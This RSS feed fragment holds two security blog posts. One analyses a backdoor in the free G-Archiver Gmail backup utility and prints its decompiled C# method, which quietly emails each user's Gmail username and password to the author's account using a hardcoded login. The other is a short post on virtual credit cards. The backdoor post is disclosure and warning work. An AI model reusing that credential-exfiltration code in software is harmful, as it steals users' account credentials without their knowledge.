      <content:encoded><![CDATA[<p>Here is another data point that simple backdoors are being placed into free applications.   A programmer, Dustin Brooks, was inspecting a free Gmail backup utility, called <a href="http://www.garchiver.com/">G-Archiver</a>, with <a href="http://www.aisto.com/roeder/dotnet/">reflector</a> and noticed that not only did it have the authors Gmail credentials baked in, but is was <a href="http://www.codinghorror.com/blog/archives/001072.html">sending the Gmail credentials of every user of the program to the author</a>.</p>
<p>This is an example of an unintended network activity backdoor where information leakage occurs. Here is the code:</p>
<blockquote><p>public static void CheckConnection(string a, string b)<br />
{<br />
try<br />
{<br />
MailMessage message = new MailMessage();<br />
message.To.Add(&#8221;JTerry79@gmail.com&#8221;);<br />
message.From = new MailAddress(&#8221;JTerry79@gmail.com&#8221;, &#8220;JTerry&#8221;, Encoding.UTF8);<br />
message.Subject = &#8220;Account&#8221;;<br />
message.SubjectEncoding = Encoding.UTF8;<br />
message.Body = &#8220;Username: &#8221; + a;<br />
message.Body = message.Body + &#8220;\r\nPassword: &#8221; + b;<br />
message.BodyEncoding = Encoding.UTF8;<br />
message.IsBodyHtml = false;<br />
message.Priority = MailPriority.High;<br />
SmtpClient client = new SmtpClient();<br />
client.Credentials = new NetworkCredential(&#8221;JTerry79@gmail.com&#8221;, &#8220;bilal482&#8243;);<br />
client.Port = 0&#215;24b;<br />
client.Host = &#8220;smtp.gmail.com&#8221;;<br />
client.EnableSsl = true;<br />
client.Send(message);<br />
}<br />
catch (Exception)<br />
{<br />
}<br />
}</p></blockquote>
<p>This obviously wasn&#8217;t the smartest backdoor.  The writer didn&#8217;t need to use the same credentials for for his &#8220;drop&#8221; account to send the mail.  That made it trivial for the investigator to verify what was going on.  There was also no attempt at obfuscation.</p>
<p>As a internet community we don&#8217;t have a good way yet of dealing with these problems except to hope that someone will inspect the free software at some point, alert people, and then hope that all the people that downloaded the software get contacted so that they can change their Gmail credentials.  With other stolen data there is no recourse.</p>
<p>We are stuck in a blacklist mentality for software.  People readily download, install, or increasingly often with SaaS, just browse, and type in their credential.  Unless users are stopped by a blacklist tool or service they end up taking an unknown risk.</p>
]]></content:encoded>
      <pubDate>Tue, 11 Mar 2008 11:02:11 +0000</pubDate>
      <category domain="http://securityratty.com/tag/mailmessage message">mailmessage message</category>
      <category domain="http://securityratty.com/tag/message">message</category>
      <category domain="http://securityratty.com/tag/backdoor">backdoor</category>
      <category domain="http://securityratty.com/tag/smtpclient client">smtpclient client</category>
      <category domain="http://securityratty.com/tag/client">client</category>
      <category domain="http://securityratty.com/tag/gmail">gmail</category>
      <category domain="http://securityratty.com/tag/gmail credentials">gmail credentials</category>
      <category domain="http://securityratty.com/tag/credentials">credentials</category>
      <category domain="http://securityratty.com/tag/people">people</category>
      <source url="http://www.veracode.com/blog/?p=81">Backdoor in G-Archiver</source>
    </item>
    <item>
      <title><![CDATA[Should you use virtual credit cards?]]></title>
      <link>http://securityratty.com/article/51246dffeb20c22fdc766a6da442e12f</link>
      <guid>http://securityratty.com/article/51246dffeb20c22fdc766a6da442e12f</guid>
      <description><![CDATA[I got a press call this morning from a guy looking to learn more about &quot;virtual credit cards.&quot; These are one-time use numbers that protect your main credit card and can only be used one time on one...]]></description>
      <content:encoded><![CDATA[<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm1.static.flickr.com/41/118904267_408117316b_m.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px;" src="http://farm1.static.flickr.com/41/118904267_408117316b_m.jpg" alt="" border="0" /></a><br />I got a press call this morning from a guy looking to learn more about "virtual credit cards." These are one-time use numbers that protect your main credit card and can only be used one time on one site. This capability is available from a few of the large credit card banks. Check out more information at the <a href="http://www.cardratings.com/feb01new.html">Cardratings site</a>.<br /><br />The reality is that using these virtual credit card numbers are a pain in the butt. You have to either download some software or go to yet another web site to get the right credential to use it. Is it worth it? The answer is a big maybe.<br /><br />If you are doing business with a totally new site, then it probably does. Credibility and trust are earned and until a vendor has an opportunity to earn my trust, I'd rather shield my true financial information.<br /><br />On the other hand, you are now pretty much insulated since you will be reimbursed on any fraudulent charges on your card. But to be clear, having your credit card compromised is a huge hassle, so you want to avoid it.<br /><br />Truth be told, I don't use virtual credit cards very often. But I am also very selective about the online merchants I use. As always, you are better safe than sorry.<br /><br />Photo credit: <a href="http://www.flickr.com/photos/pmtorrone/118904267/">pt</a><div class="feedflare">
<a href="http://feeds.feedburner.com/~f/SecurityMike?a=rMv7EBE"><img src="http://feeds.feedburner.com/~f/SecurityMike?i=rMv7EBE" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SecurityMike?a=abaFQwe"><img src="http://feeds.feedburner.com/~f/SecurityMike?i=abaFQwe" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SecurityMike?a=FrxIxKe"><img src="http://feeds.feedburner.com/~f/SecurityMike?i=FrxIxKe" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/SecurityMike/~4/241815977" height="1" width="1"/>]]></content:encoded>
      <pubDate>Tue, 26 Feb 2008 16:58:00 +0000</pubDate>
      <category domain="http://securityratty.com/tag/main credit card">main credit card</category>
      <category domain="http://securityratty.com/tag/credit card">credit card</category>
      <category domain="http://securityratty.com/tag/virtual credit card">virtual credit card</category>
      <category domain="http://securityratty.com/tag/credit card banks">credit card banks</category>
      <category domain="http://securityratty.com/tag/virtual credit cards">virtual credit cards</category>
      <category domain="http://securityratty.com/tag/card">card</category>
      <category domain="http://securityratty.com/tag/cardratings site">cardratings site</category>
      <category domain="http://securityratty.com/tag/site">site</category>
      <category domain="http://securityratty.com/tag/web site">web site</category>
      <source url="http://feeds.feedburner.com/~r/SecurityMike/~3/241815977/should-you-use-virtual-credit-cards.html">Should you use virtual credit cards?</source>
    </item>
  </channel>
</rss>
